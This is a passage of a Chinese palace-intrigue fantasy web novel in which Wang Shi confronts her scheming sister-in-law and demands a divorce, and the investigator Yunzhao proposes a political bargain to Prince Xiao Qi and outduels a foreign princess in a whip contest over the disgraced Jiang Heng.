只见王氏正站在床榻前一步之遥的地方,眼里的恨意与怒火,简直恨不得活吃了她。
反了天了!
自从王氏嫁入苏家二房,哪次见了她这个长房大嫂不是客客气气,礼数周全,甚至带着几分不易察觉的卑微与避让?
林静薇既是苏老夫人的亲侄女,又是长房嫡媳,这些年来在府中几乎说一不二,将王氏压得死死的。
即便王氏肚子争气,一举生下双生麟儿,可在婆母心中的分量,在家中的地位,始终要矮她一头!
“你……你敢打我?!”
林静薇回过神来,下意识就想抬手反击。
可刚一抬手,伤口便传来一阵撕裂般的剧痛,额头冷汗涔涔而落。
偏偏正在收拾药箱的楚大夫见状,非但没走,反而看热闹不嫌事大地“哎呦”叫了一声:
“夫人可千万不能乱动!否则您这条膀子可要彻底废了!
到时您可别回头怨老夫医术不精!
更别污蔑姜司主处置得不妥!
姜司主那手法,老夫看了,是极好的战场急救路数,干净利落,保命第一!”
林静薇被他这番话气得浑身发抖,一时竟不知该先骂这个多嘴多舌的老匹夫,还是该先撕了眼前这个胆大包天、竟敢对她动手的王氏!
一旁的吕嬷嬷也慌了神,连忙扶住林氏,连声道:“夫人!当心伤口,切莫动气啊!”
就在这混乱当口,王氏竟似还不解气,上前一步,抡圆了胳膊,又是狠狠一巴掌扇了过来!
这一下,比刚才更重!直接打在了林静薇另一边脸颊也高高肿起!
偏偏这时,王氏身后的朱嬷嬷恰到好处地嚷嚷起来:“夫人!当心您肚子里的孩子啊!”
一直沉着脸未说话的苏文正,眼见王氏状若疯虎,下手毫不留情,也忍不住皱紧了眉头,沉声喝道:
“王氏!有话好好说,动手成何体统!你如今也是有身子的人,岂能如此冲动!”
王氏将打得发麻的手猛地一甩,挣脱开朱嬷嬷的阻拦,转过身,面对着苏文正,脸上怒色未减,却带着一种破釜沉舟的决绝:
“爹!您让我好好说?好!那儿媳今日就把话撂这儿,好好说个明白!”
她抬手一指床上狼狈不堪的林静薇:“自从我嫁入苏家,娘对林氏处处偏心维护,什么好的、体面的,都紧着她先!
我敬重爹娘是长辈,她林静薇是长嫂,这些年,我处处忍让,事事退避,从不曾与她争过抢过半分!
我只求一家和睦,安安稳稳过日子!”
她深吸一口气,眼中泛起泪光:“可今日,她林静薇做的是什么事?
她竟敢私自跑去京郊大营,撺掇、蒙骗我儿惊澜,让他无令擅自调兵,随她前往将家村!
爹!您久在朝堂,难道不知军中铁律?无令调兵,擅离职守,这是重罪!
轻则革职查办,重则军法从事!
她这是在毁我儿子!是在断送澜哥儿的前程,是要他的命啊!”
她越说越激动,声音拔高,字字泣血:“我家澜哥儿今年才多大?
他能有今日七品翊麾校尉之职,那是他从前真刀**、拿命去博回来的军功!是他在**堆里爬出来挣的前程!
我这个做娘的,平日里他在营中辛苦,家中但凡有点什么事,我都不敢让人去烦扰他,生怕耽误他正事,影响他前程!
我连让他跑个腿都舍不得!
可她林静薇呢?
她凭什么为了她自己的盘算,就敢如此肆无忌惮地使唤我儿子,把他往火坑里推,往绝路上逼?!”
门外庭院中,直挺挺跪在青石板上的苏惊澜,听到母亲这番泣血控诉,脸上闪过深深的愧色与懊悔,忍不住将头埋得更低。
今日之事,确实是他冲动莽撞了。
接到大伯母派人送来的急信,说堂妹玉嬛被歹人挟至将家村,性命攸关!
他当时脑子一热,只想着骨肉亲情,想着救人要紧,又仗着自己在巡防营中有些脸面,便点了些亲信人手匆匆赶去。
其实平日里,他也说不上多喜欢这位大伯母,但苏玉嬛毕竟是嫡亲的堂妹,一家子血脉相连,他岂能见死不救?
加之少年意气,总想着凭手中**快马,能解决一切麻烦。
可后来在将家村口,他亲眼目睹大伯母不顾阻拦、执意冲击界阵的癫狂模样,听她那些漏洞百出的辩解,再到后来姜司主冷静审问、大伯母慌乱失措的反应……
他便是再迟钝,也意识到事情绝非“入村寻人”那么简单。
自己恐怕是被这位大伯母,拖进了一滩深不见底的浑水之中。
然而,此刻醒悟,为时已晚!
屋内,王氏的控诉还未停止。
“今日,我不求别的!只求爹看在我嫁入苏家十余年,孝顺公婆、操持家务、生儿育女,从未有过大错的份上,替凌风出具一份放妻书!我要和离!
从今往后,苏家是兴是衰,是荣是辱,都与我王氏再无半点相干!
我的儿子,我肚里的孩子,也绝不会再留在这等虎狼窝里,任人算计糟践!”
“娘!娘您消消气!千错万错都是儿子的错!是儿子糊涂!是儿子蠢笨!错信他人,连累娘亲担惊受怕!儿子以后再不会了!求您别说气话!儿子求您了!”
门外的苏惊澜一听王氏要和离,当即吓得肝胆俱裂,再也顾不得什么,膝行至房门外,隔着门帘急切哀求,声音带着哭腔。
床榻之上的林静薇,此刻却顾不上疼痛。
她听到王氏斩钉截铁要“和离”,心头窜起一股狂喜!
王氏若真能说到做到,就此离开苏家,那这苏府后宅,从此便是她林静薇一人独大!
婆母本就偏疼她,公爹毕竟是男子,不便时时过问内宅,丈夫苏凌岳又是个耳根子软的……届时,她还不是想如何便如何?
一直沉着脸未多言的苏文正,此刻眉头拧成了疙瘩,沉声道:“王氏,你莫要冲动。和离之事,岂是儿戏?事关两家体面,更关乎孩子们的前程……”
“爹!弟妹!”
闻讯匆匆赶回的苏凌岳,以及紧随其
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后的苏惊墨,恰好踏入房门,见到屋内剑拔**张的情形,都是大吃一惊。
苏惊墨一语不发,快步上前,默默扶住情绪激动的母亲。
苏凌岳则快步走到王氏面前,拱手作揖,脸上满是歉意与焦灼:
“弟妹,今日之事,千错万错,都是你大嫂的不是!
是她一时糊涂,爱女心切,失了分寸,才做出这等荒唐事,连累了澜哥儿!我代她向你赔罪!”
他顿了顿,语气带上恳求:“但请你看在玉嬛那孩子刚刚遭难的份上,原谅你嫂子这一回。
至于军营那边,我愿和父亲一同前去,向巡防营长官解释清楚缘由,**利害。
澜哥儿也是因为骨肉亲情,担心妹妹安危,这才一时情急,铸下大错。
他年纪尚轻,又是初犯,想来上官也会酌情体谅……”
说到自己那惨死荒村、尸骨未寒的女儿,苏凌岳的声音也不由哽咽起来,眼圈发红:
“况且如今玉嬛人已经不在了。弟妹,就算……就算看在那可怜孩子的份上,暂且息怒!
莫要气坏了身子,也莫要让这个家,再雪上加霜了!”
若放在从前,以王氏素来顾全大局的性子,听到大伯哥如此低声下气地恳求,又想到刚**侄女,或许真会心软退让,将委屈咽回肚子里。
可经历过那晚胎儿不保、险些丧命的彻骨恐惧,亲眼见识了林静薇的蛇蝎心肠与诡异手段,她早已不是从前那个一味隐忍退让的王氏了!
她怎么可能还敢跟一个会使邪术害人的毒妇同住一个屋檐下?
哪怕只是为了保护自己腹中这个来之不易的孩子,为了保护她两个已经长大成人的儿子,她也必须离开这个危机四伏的家!
苏文正看出王氏眼中的决绝并非一时气话,心中暗叹,知道今日之事难以善了,只得退一步道:
“即便你真有意和离,也需得等凌风回来,你们夫妻二人当面说清楚,两家长辈坐下一同商议。
此事关乎两家门楣,关乎子孙后代,总不能如此草率便定下。”
“和离?何来和离一说?”一个苍老却尖锐的声音自门外传来。
苏老夫人在两个丫鬟的搀扶下,颤巍巍地走进来,一眼就瞧见了床上脸颊红肿、嘴角带血的林静薇,当即心疼得眼眶就湿了,颤声道:
“我苦命的薇薇!我方才听下人说你回来了,还受了伤,心都揪碎了!
怎的突然嬛嬛就不见了?怎的又会死在了那劳什子将家村?这到底是怎么一回事?”
她快步上前,几乎是扑到床边,只一个劲儿疼惜地摩挲着林氏头发,老泪纵横。
苏文正见状,眉头皱得更紧,沉声道:“我不是让你在院子里好生静养,无事不要出来走动吗?怎的又不听?”
苏老夫人猛地抬头,怒视着丈夫,声音拔高:“今日家里出了这样天塌地陷的大事!**孙女,伤了大儿媳!老爷你还要把我锁在院子里不成?
孙女不明不白地就没了,如今你眼看着王氏要殴打长嫂,以下犯上,也不制止,反倒来怪我?这家里,还有没有规矩体统了?!”
苏文正被她气得脸色铁青,却又碍于她是发妻,不便当众呵斥,只得重重哼了一声,转过头去。
王氏冷眼看着这一幕,只觉得心都凉透了。
她缓缓后退两步,走到门边,亲手搀扶起跪在地上、满脸泪痕的儿子苏惊澜,紧紧握住他冰凉的手。
然后,她抬起头,遥遥望向面色复杂的苏文正,声音平静得几近漠然:
“公爹,您每日忙于书院公务,夙兴夜寐,为朝廷选拔贤才。
家宅之中,有多少暗流汹涌,您要么是全然不知情,要么即便是知情了,也总是以‘家和万事兴’为由轻轻揭过,从不肯真正主持公道。”
她的目光扫过床上依偎在苏老夫人怀中、正偷偷抬眼窥视她的林静薇,冷笑了声:
“公爹若是觉得我胡搅蛮缠,不识大体,那我今日,也不妨把话说得更清楚些。”
她抬起手,笔直地指向林静薇,一字一顿,清晰无比:
“这个女人,林静薇,她蛇蝎心肠,歹毒至极!
她得知我再次有孕,唯恐我再生下健康子嗣,威胁她长房的地位,竟在院中花木动手脚,暗中布下‘九宫断嗣局’这等阴毒邪阵!
一心想要害我母子性命,令我胎死腹中!
若非我命不该绝,及时发现端倪,又得高人暗中指点化解,恐怕我与我腹中孩儿,早已是黄泉路上的两缕冤魂了!”
第206章 废太子,杀皇后
“什么?!”苏文正闻言,脸上第一次露出了真正的惊骇之色!
紧紧搂抱着林静薇的苏老夫人,亦是浑身猛地一颤,下意识地低头看向怀中林氏。
林静薇脸色骤变,尖声嘶叫起来:“你血口喷人!你竟敢编造如此恶毒的谎言来污蔑我!你不得好死!”
王氏却只是讥诮一笑:“我知道,你早在我搬回娘家的当晚,就迫不及待地将那些动了手脚的花盆、石块,全都移回了原位,毁了所有证据。
你是打定了主意,我绝对抓不着你的马脚,只能吃下这个哑巴亏,对不对?”
她神色平静,带着一种豁出一切的决绝:“但我今日,也不在乎什么证据了!
林静薇,你坏事做尽,丧尽天良,如今报应已经来了!
你敢不敢对天发誓,说你从未动过害我母子性命的念头?
你敢不敢拿你林家列祖列宗,拿你未来所有的子嗣后代起誓,说你从未使用过任何阴毒邪术害人?!”
“你……你……”
林静薇被她这诛心之言气得脸色煞白,那句“敢”字,如鲠在喉,无论如何也吐不出来!
站在屋子中央、原本只是来劝架的苏凌岳,听得彻底呆住。
他怔怔地看着床上眼神慌乱躲闪的妻子,又看向门口神色决绝悲愤的弟妹,好半晌,才喃喃地问:“弟妹……你这话,是什么意思?薇薇她……她怎么会……”
王氏看着他,眼底尽是冷意:“大伯哥,这是与你同床共枕十余年的发妻。
她究竟是什么心性,背地里做了多少见不得人的勾当,你这么多年,竟是真的一点都未曾察觉吗?
还是说,其实你早察觉了不妥,却为了所谓的‘体面’、‘安宁’,选择了视而不见,自欺欺人?”
她顿了顿,声音更冷:“至于玉嬛那孩子到底是**的——
你们若真是为了她好,想要查明真相,告慰亡灵,不妨多听听旁人怎么说,多查查她死前都接触过什么人,做过什么事。
切莫被某些人精心编织的一面之词,糊了眼睛,塞了耳朵!”
她字字未提“姜云昭”之名,不想给那位正在风口浪尖上的外甥女再招惹麻烦。
但句句意有所指,锋芒暗藏,分明就是在暗示苏家人——
如若对苏玉嬛之死心存疑虑,想要知道真相,就该去问那个刚刚从将家村回来、亲手处理了此事的姜司主!
而不是只听林静薇在这里哭哭啼啼、颠倒黑白!
住在娘家的这些日子,王氏早已将前因后果、利害关系想得清清楚楚,明明白白。
这林静薇嫉妒自己生下双生子,威胁她长房地位,如今必定巴不得自己赶紧和离滚蛋,离开苏家。
王氏当然不甘心就这么灰溜溜地离开,平白便宜了林氏这个毒妇。
但如今形势比人强,夫君苏凌风远在异地,归期未定;
府中婆母偏心病入膏肓,无可救药;
公爹纵然有心公正,可毕竟男女有别,内宅之事他不可能时时插手、事事过问。
只要苏老夫人和林静薇这对姑侄还在苏家一天,这个所谓的“家”,对她和她的孩子们而言,就是龙潭虎穴,危机四伏!
所谓“和离”,不过是她退回娘家以求自保的缓兵之计,也是她向苏家上下表明态度、施加压力的手段!
林静薇被王氏意有所指的话语刺得心惊肉跳,色厉内荏地尖叫:“你居然咒我子孙后代!你这个毒妇!你不得好……”
“你闭嘴!”
王氏猛地打断她,脸上最后的耐心也消耗殆尽,只剩下冰冷的厌恶,
“少在这里胡搅蛮缠,转移话头!
你若是心中没鬼,不曾做过那些伤天害理之事,何必心虚至此?
我虽然不懂你们那些玄乎其玄的邪术,但也深信这世间自有因果轮回,报应不爽!
林静薇,你从前害人,如今害己!
你的女儿如今已经没了,究竟是旁人所害,还是你们母女俩自作自受,冥冥之中,自有天道看着!”
说完这番话,王氏不再看屋内任何人的脸色。
在苏惊澜和苏惊墨一左一右的搀扶下,她转过身,挺直脊背,迈过了门槛。
“和离也罢,休妻也好。”
她的声音从门外传来,平静而坚定,清晰地送入每个人耳中,
“只要是我夫君苏凌风亲口所说,白纸黑字,我王氏绝无二话!
我就在娘家,等着我夫君登门,与我做个了断!”
且不说她对丈夫苏凌风的为人品性尚有信任,笃定他绝非那等不辨是非、薄情寡义之人。
即便丈夫最终迫于父母压力,或者被林氏蒙蔽,做出了令她寒心的选择,那又如何?
她有一双已经渐渐长成的儿子,还有腹中这个与她生死与共的骨肉,更有她身后虽不显赫却足够温暖、能为她遮风挡雨的娘家!
她犯不着为了一个男人,为了这表面光鲜内里肮脏的所谓“高门”,把自己和孩子们的身家
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性命,都耗死在这**不吐骨头的苏家后宅!
身后传来苏老夫人气急败坏的咒骂与哭嚎,夹杂着林静薇虚弱的呻吟与苏凌岳惊慌的劝慰。
王氏却再未回头。
*
另一边,萧启勒停骏马,手臂沉稳有力地扶住云昭腰肢,将她带下马背。
就在两人身体靠近、衣袂相触的刹那,云昭那双蕴着玄妙灵光的眼眸深处,清晰地映照出了常人无法窥见的景象——
只见萧启身上,代表着第三道恶诅“孤辰煞”的钉影,周遭黑气正源源不断地消融、松动!
云昭心念如电光疾转,一个愈发清晰的猜测浮上心头:
第一道“蚀元诅”,不断蚀耗萧启的本源元气,是她刚回京城不久,便硬生生拔除的。
第二道“桃花煞”,扭曲姻缘,招引孽情,破解过程费了些周折,而就在她彻底拔除之后,宋白玉就遭到了反噬,下场凄惨。
如今这第三道“孤辰煞”,旨在离间亲眷,众叛亲离。
而它出现松动迹象的时机,恰恰是在薛九针彻底魂飞魄散之后!
这绝非巧合!
玄门之中,越是阴毒强大的诅咒,其力量核心,往往与施咒者的执念、业力乃至性命紧密相连。
破解诅咒的关键,或许不仅仅在于她的玄术手段,更在于能否找到并了结那对应的“恶因”!
简言之,如若云昭能尽快寻到与七玄钉对应的邪师或邪事,了结恶因,净化邪事,那么彻底解除七玄钉指日可待!
心中计定,云昭忽朝身侧正准备吩咐亲卫的萧启,轻轻招了招手。
萧启闻声,几乎没有任何犹豫,便自然而然地微微俯身,将耳朵凑近云昭。
这个动作由这位素来冷峻的秦王来做,非但无损其尊贵,反倒因那份毫不迟疑的顺从,愈显温柔难得。
云昭压低了声音,清冷的语调里带着一种商讨事务的平静:“第三道‘孤辰煞’,今夜我便可为殿下彻底拔除。不过,我这里另有一桩买卖,想与殿下商议。”
从前二人早有约定:萧启助云昭回京复仇,站稳脚跟;
云昭则竭尽全力,助他解除身上这索命恶诅。
此刻听云昭旧事重提,萧启心头不禁微微一动,如同被羽毛轻轻搔过。
他维持着俯身的姿态,从喉咙里发出一个低沉的单音:“嗯?”
云昭的声音更轻,却如投入深潭的石子,清晰地荡开涟漪:“我可襄助殿下——废太子,杀皇后。”
第207章 让姜珩,当脚凳
萧启的呼吸几不可察地一滞。
云昭却毫无闪避,直视着他的双眸:“作为交换,也请殿下承诺,他日若登临大位,需将‘清微谷’一案的真相彻底查明,大白于天下!
为谷中枉死之人正名昭雪,以慰亡灵,以正乾坤!殿下以为,这笔买卖……如何?”
她并非一时冲动。
初入京城时,她心中所念,不过是以牙还牙向姜家讨还血债,并查清师门**真相,告慰师父与同门在天之灵。
可随着她深入京城这潭浑水,步步惊心,早已看透——
太子昏聩荒唐,太后狭隘阴毒,贵妃一心挟私报复,整个大晋皇室从里到外都糟烂一团!
而当今天子,表面勤政,处事也算公允。可太子终究是他的嫡亲骨血。
“清微谷”一案,若真彻查到底,势必动摇国本,牵扯出储君、世家种种罪孽,更会令皇室颜面扫地,朝局动荡不安。
陛下,真能为了一个已然覆灭的江湖门派,而不顾父子亲情、不顾江山稳定,一查到底吗?
即便查了,为了皇室颜面、朝局平衡,最终又是否会如处置永熙王那般,表面公允暗自抹平,只留下一个语焉不详的官方结论?
想找一个能真正不畏强权、不徇私情,有足够能力与决心为清微谷正名的人——
秦王,就是最好的选择!
萧启万万没想到,云昭会在此时、此地,如此直白地说出废太子这样的话来。
即便他心中自有宏图,也一直在暗中布局筹谋,但此刻骤然被云昭点破,仍让他感到一阵猝不及防的惊愕。
他直起身,深邃的眼眸凝视着云昭,试图从她平静无波的面容上看出更深层的意图。
无数思绪在他脑海中飞速掠过,他一时沉默。
就在这微妙而紧绷的时刻,一道骄纵跋扈的女子嗓音骤然响起。
“你耳朵聋了吗?本公主让你跪下,给本公主当脚凳!本公主要下马!”
声音来自不远处,云昭与萧启同时循声望去。
只见道旁停着一辆装饰极尽奢华的朱轮华盖马车,车前垂落的锦帘已被侍女高高打起。
一只女子的脚,正从车厢内伸出。
女子脚上穿着大红遍地金绣孔雀纹绣鞋,悬在半空,不耐烦地轻轻晃动着。
而那个满脸**,死死咬着牙关,僵站在轿前的年轻男子——
赫然正是姜珩!
他喉结滚动,终是缓缓屈下右膝,单膝点地,垂首哑声道:“请……公主下轿。”
周遭早已**了不少被这阵仗吸引的路人与附近店铺的伙计,指指点点的议论声嗡嗡作响:
“哟,这不是那朱玉国公主的车驾吗?昨儿个进城时好大的排场呢!”
“哎呀,那不是兰台公子姜珩吗?怎的跟个仆役似的,给番邦女子当脚凳?”
“难道你竟不知?他家那‘尚书府’的匾额前些日子就被摘啦!听说他爹犯了大过,被一撸到底,贬成个九品芝麻官了!”
“可他好歹也是陛下金殿钦点的状元郎!堂堂进士及第,这般对着番邦公主卑躬屈膝,任实在有辱我大晋国威啊!”
人群中传来的议论声让姜珩脸上一阵红一阵白,他几乎用尽全身力气,才撑着自己没有当场栽倒!
车帘后传来一声满意的轻哼。
那只穿着大红绣鞋的脚,毫不客气地抬起,精准地踩在了姜珩屈起的大腿之上,借力一撑,身姿轻盈地跃下马车。
落地后,玉珠公主竟又伸出手,亲自将姜珩搀扶起来。
她动作看似亲昵,纤细五指却如同铁钳般,紧紧扣住了姜珩的手腕。
玉珠公主仰起那张娇艳脸庞,笑吟吟打量着姜珩隐忍痛楚的侧脸,声音甜得发腻:
“原来你还是大晋的状元郎啊?你们皇帝真是大方,这般才貌双全的‘尤物’,都舍得赐给我。”
玉珠公主这句话是用大晋官话说的,“尤物”二字一出口,说得姜珩脸色惨白一片。
他一时不知,玉珠公主到底是汉话说得不精通,才胡乱用词;还是说得太精通,是故意折辱。
云昭冷眼瞧着,敏锐地捕捉到姜珩在手腕被扣住的瞬间,脊背不自然地僵直,似乎在强忍着某种剧痛。
她眸光微凝,投向姜珩被衣袖遮掩的手腕。
联想昨日宫宴上初见玉珠公主时,在她那对耳环上感应到的残魂怨戾之气,以及萧启所言“昨晚姜珩上了公主的床”……
种种线索串联,她心中已然明了。
只怕昨夜,这位“兰台公子”在那异国公主的香闺之内,所受的“款待”绝非寻常风流,而是夹杂了某些阴损磨人的手段。
手腕上的疼痛,或许只是冰山一角。
云昭眼底掠过一丝冰冷的讥诮。
路是他自己选的,膝盖是他自己弯的。
既然他甘愿舍弃文人风骨,攀附这等以折辱人为乐的异国权贵,如今所承受的一切苦楚与羞辱,都是他咎由自取!
恰在此时,姜珩似乎感应到了什么,僵硬地抬起头,猝不及防地对上了云昭那双洞彻一切的眼睛。
他身形一震,如同被冰水浇头,脸上最后一点强撑的镇定也彻底碎裂,只剩下狼狈与难堪。
云昭不再看他,只朝身侧的墨十七略一颔首。
墨十七会意,走上前对着正饶有兴致打量四周的玉珠公主抱拳一礼:
“公主殿下。前方街道因玄察司查案,需暂时封锁清理,以免误伤。还请公主殿下移步。”
与此同时,萧启麾下的军士已然开始行动,劝离附近围观百姓,拉起临时界限。
玉珠公主闻言,黛眉一挑,非但没有配合的意思,反而像是被激起了逆反心。
那张娇美的脸上露出毫不掩饰的骄横:“本公主乃是朱玉国使臣,你们大晋皇帝金口玉言,许我在京城各处游览!
怎么,如今这皇城根下,还有本公主
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去不得的地方?你们玄察司倒是好大的威风啊!”
她刻意拖长了语调,目光斜睨向云昭,挑衅意味十足。
一旁姜珩,原本因云昭的出现而倍感难堪,此刻见玉珠公主态度强硬,公然与云昭别苗头,心中生出一丝扭曲的快意。
姜云昭近来实在风头太盛,陛下隆宠,秦王维护,就连赵悉还有其他一些朝廷官员,也对其褒誉有加。
若能亲眼瞧见她被当众打脸吃瘪,还真是让他万分期待!
云昭虽不知缘由,但也看出玉珠公主对自己有一种跃跃欲试的敌意。
她心中忽而闪过一个好玩的念头,故意平静开口道:“我记得,公主殿下曾言,想与我切磋鞭法?”
玉珠公主闻言,眼睛一亮:“是又如何?你肯应战了?”
她对自己的鞭术颇为自负,正愁没机会让这个看起来冷淡傲气的大晋女官尝尝苦头。
“我同意与殿下切磋。”云昭语气依旧平淡,“不过,既是在我大晋地界比试,自然要按我大晋的规矩来。”
“什么规矩?你且说来听听。”
玉珠公主饶有兴致,手中不知何时已多了一根通体乌黑、嵌着细碎宝石的精致短鞭,轻轻拍打着掌心。
云昭的目光,似笑非笑落在了一旁的姜珩身上,红唇轻启,吐出的话语却让所有人都愣住了——
“就比……谁先抢到他。”
“你——!”姜珩如遭雷击,猛地抬起头。
附近虽已被清场,但被拦在隔离线后的百姓们无不抻长了脖子,瞪大了眼睛,看得津津有味。
更别提周围还有数十名持械肃立的军士,此刻目光也齐刷刷落在了姜珩身上。
姜珩满脸的不可置信,他觉得姜云昭简直是飘了!狂妄!自负!目无王法!
“姜云昭!你当我姜珩是什么人?你胆敢当众折辱朝廷命官,你眼里还有没有王法!此事我定要禀明陛下,治你的罪!”
玉珠公主却像是听到了什么极有趣的笑话,她先是愕然,随即放声大笑起来。
那笑声清脆,却带着毫不掩饰的残忍与兴奋:“有意思!真是太有意思了!姜司主,你这个提议,深得我心!”
朱玉国崇尚强者,玉珠公主对“争夺猎物”的游戏向来热衷。
她止住笑,手腕一抖,那乌黑短鞭如同毒蛇出洞,“啪”的一声脆响,鞭梢带着凌厉的风声,直直卷向姜珩的腰间,口中轻喝道:“愣着干什么?站到中间去!”
姜珩还待挣扎怒骂:“你们……你们这是公然羞辱朝廷……呃啊!”
话未说完,玉珠公主的鞭子已灵活地缠上他的腰,猛地一拉!
姜珩猝不及防,踉跄着被拖到了街道中央,险些摔倒。
云昭好整以暇地看着,甚至慢条斯理地抚了抚袖口,才挑眉反问:“朝廷命官?
敢问状元郎,你如今在哪一部、哪一司当差?官居几品?可有实授印信?”
第208章 伺候过度,腰膝酸软
“我……”姜珩被她问得瞬间噎住,脸上一阵青一阵白。
自从前次祖母不小心压伤了那位传旨公公,他们一家子入宫被皇帝申饬,罚了二十廷杖后,他那个从六品的翰林院修撰之职便彻底黄了。
如今身上挂着的,不过是个临时协理朱玉国使团事务的鸿胪寺虚衔,无品无级,更无印信。
如今他日夜期盼的,便是办好这次差事,能重新获得实职任命。
云昭这话,简直就是在戳他的肺管子!
见姜珩语塞,云昭唇边那抹似笑非笑的弧度更深:“瞧瞧你如今的模样,不知自爱,轻浮浪荡!
即便陛下亲眼见了,你要骂你自轻自贱!以色侍人!
怎么,难不成你还觉得自己此番行径能光宗耀祖不成?”
这番话,字字如刀,句句诛心,将姜珩竭力维持的最后一点遮羞布彻底撕得粉碎。
世人通常唾骂女子不知自爱,轻浮浪荡,如今姜云昭反加于他这个昔日状元之身,其羞辱何止倍增!
姜珩气得眼前发黑,浑身血液仿佛都冲上了头顶,正要不管不顾地反唇相讥——
“少废话!接招!”玉珠公主却已等得不耐,娇叱一声,手腕再次抖动!
那乌黑鞭影如灵蛇般再次窜出,这一次并非卷向腰间,而是直取姜珩的肩头与手臂,意图将他整个人拉拽过去。
她鞭法凌厉,力道刚猛,带着异域武功特有的狠辣与直接,鞭风呼啸,声势惊人。
然而,几乎在玉珠公主出手的同一刹那,云昭也动了。
她只袖袍一拂,一道银鞭自袖中激射而出!
“嗖——!”
银光后发先至,并非硬撼玉珠公主的乌鞭,而是如同有生命般,顺着乌鞭的来势巧妙一贴、一绕,瞬间在其鞭身上缠绕数圈,借力打力!
玉珠公主只觉一股绵柔却坚韧的力道从鞭身上传来,不仅卸去了她大半前冲之力,更隐隐带着一股旋转的巧劲,让她鞭势不由自主地微微一偏。
她心中一惊,急忙加力回夺。
而云昭操控的银鞭,已借着那一贴一绕的瞬间,巧妙地在姜珩身上借力一点,同时气劲微吐。
姜珩只觉得两股截然不同的力道同时作用在自己身上,一股向外拉扯,一股向内轻带——
他整个人顿时如同陀螺般,身不由己地踉跄旋转!
脚下尘土飞扬,弄得他灰头土脸,好不狼狈!
玉珠公主见一击未能得手,反被云昭以巧破力,一时心中更怒,乌黑短鞭舞得如同**,频频卷向姜珩,试图强行夺人。
“啪!”
玉珠公主一记鞭扫落空,狠狠抽在了地上,青石板上留下一道浅浅白痕。她用力过猛,气息微乱。
云昭觑准时机,银鞭倏然绷直,精准地缠上了姜珩腰间玉带,同时另一股柔劲巧妙地撞在姜珩膝弯。
姜珩本就因昨夜“伺候”过度,腰膝酸软,下盘虚浮!
此刻被两股力道一扯一撞,再也站立不住,“噗通”一声,竟是双膝一软,结结实实地跪倒在地!
膝盖撞击青石板的闷响,听得周围人都觉得牙酸。
“废物!”玉珠公主见状大怒!
眼见“猎物”倒地,自己竟未能抢先得手,迁怒之下,她想也不想,反手一鞭就朝跪在地上的姜珩后背抽去!
“啪!啪!”两声脆响!
姜珩身上那件月白锦袍应声裂开两道口子,底下皮肉瞬间红肿起来,火辣辣的剧痛让他忍不住发出一声压抑的痛哼,眼前阵阵发黑。
他长这么大,何曾受过这等实实在在的皮肉之苦?
加之昨夜亏空严重,此刻只觉得气血翻腾,五脏六腑都绞在一起。
云昭冷眼瞧着姜珩蜷缩在地的狼狈模样,缓步上前,蹲在姜珩近前,用只有他二人能听到的声音漫声道:
“你说,若是你那位出身风尘的亲娘,知道她豁出性命寄予厚望的儿子,如今在京城干的,居然也是这般‘伺候人’的营生,甚至还不如她当年……她会作何感想?”
姜珩原本疼得意识模糊,耳边嗡嗡乱响,云昭的话起初像是隔着一层水传来,听不真切。
待“出身风尘”几个字如同惊雷般劈入脑海,他浑身剧震,猛地抬起头!
他眼中充满了暴怒与心虚,嘶声低吼:“你满口胡噙!你敢污我清誉!姜云昭!我跟你拼了!”
他最恐惧、最不能为人知的隐秘,就这样被云昭轻描淡写地提及,这比直接杀了他,还要更折磨!
云昭却只是居高临下地看着他,唇角勾起一抹毫不掩饰的讥诮:“清誉?姜珩,看看你现在的样子,再看看你选择的路……
上赶着跑去给番邦女子当男宠,你和小倌有什么分别?
你真是将姜家最后一点脸面,都丢得干干净净了。”
“噗——!”
姜珩喉头猛地一甜,竟是一口鲜血直喷了出来。
他自己也吓了一跳,看着地上的血迹,一时有些茫然,随即涌上的是更深的恐慌。
身后,玉珠公主见到姜珩吐血,脸上飞快地闪过一抹心虚。
昨夜她为了尽兴,香炉里所燃的助兴香料,似乎确实放得多了些……
没想到这中原男子如此不经折腾,不过一夜风流,竟就虚损至此,还吐了血?
但回想起昨夜姜珩在她身下婉转承欢、痛苦与愉悦交织的迷离神色……
那异样的征服感和快意又涌上心头,让她对这个新得的男宠多了几分不舍。
她定了定神,掩饰住那丝心虚,朝身后招了招手,立刻有两名健壮的朱玉国侍卫上前。
“把人抬回驿馆,好生照看。”玉珠公主吩咐道。
她随即转向云昭,尽管输了比试,脸上骄横未减,反而带着一抹激赏之色,
“姜司主,你的鞭法……很特别,也很厉害。本公主输了,说话算话,这就离开。”
她顿了顿,目光扫过被侍卫抬起的、面如金纸的姜珩,又添了一句:
“不过,你伤了我的‘心上人’,这笔账,本公主可是记下了。下次见面,我们定要好好‘切磋’。”
说完,她不再停留,带着随从和昏迷的姜珩,浩浩荡荡地离开了这片被封锁的街巷。
不远处茶楼的二楼雅间窗边,一道身影悄然伫立。
他一身低调的深蓝色锦袍,头戴遮阳的宽檐斗笠,帽檐压得很低,只露出线条冷硬的下颌。
正是朱玉国三皇子,玉珠公主的兄长——赫连曜。
他身后的阴影中,一名侍卫低声禀报:“殿下,寒公子瞧着情形不大对,似乎受了不轻的外伤。”
说着,他双手奉上一枚手指粗细的细小竹筒,“这是方才混乱
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中,寒公子设法传递出来的消息。”
赫连曜接过竹筒,指尖摩挲着微凉的竹身,动作小心而珍重,仿佛握着什么稀世珍宝。
他并未立刻打开,只是将其紧紧攥在手心,沉默了片刻。
“此时我们不宜现身。”他声音低沉,
“况且……有那位姜司主在,若阿寒真有性命之忧,她应当不会坐视不理。”
他皱了皱眉,目光投向玉珠公主车驾消失的方向:“玉珠这次……疯得越发不像样了。难道还真对那姓姜的小子上了心?”
说话间,他打开掌心的小竹筒,快速阅尽,随后长长叹了口气:
“也罢。从前我还顾念几分一母同胞的情分,对她诸多忍让。如今看来……她留着,终究是个祸患。”
他顿了顿,指尖无意识地敲击着窗棂,说出的话语却让身后的侍卫心中一凛:“此事就按阿寒传来的计划办。
玉珠既然喜欢大晋,喜欢这京城繁华,甚至‘喜欢’上了姜珩……那就让她永远留在这里好了。”
*
另一边,云昭收拢银鞭,朝身侧的墨十七略一偏首,低声吩咐:“派两个机灵的,分别跑一趟姜府和荣太傅府。
将方才这里发生的事,原原本本,细细说与两边的主事人听。
尤其是姜老夫人那里,务必让她老人家‘清清楚楚’地知道,她最引以为傲的孙子,今日是如何给番邦公主做脚凳‘光耀门楣’的。”
这段时日公务缠身,她实在抽不出闲暇去探望她那位“好祖母”,眼下这现成的消息送上门,正好能替她“尽尽孝心”。
至于荣太傅府……云昭眸光微深。
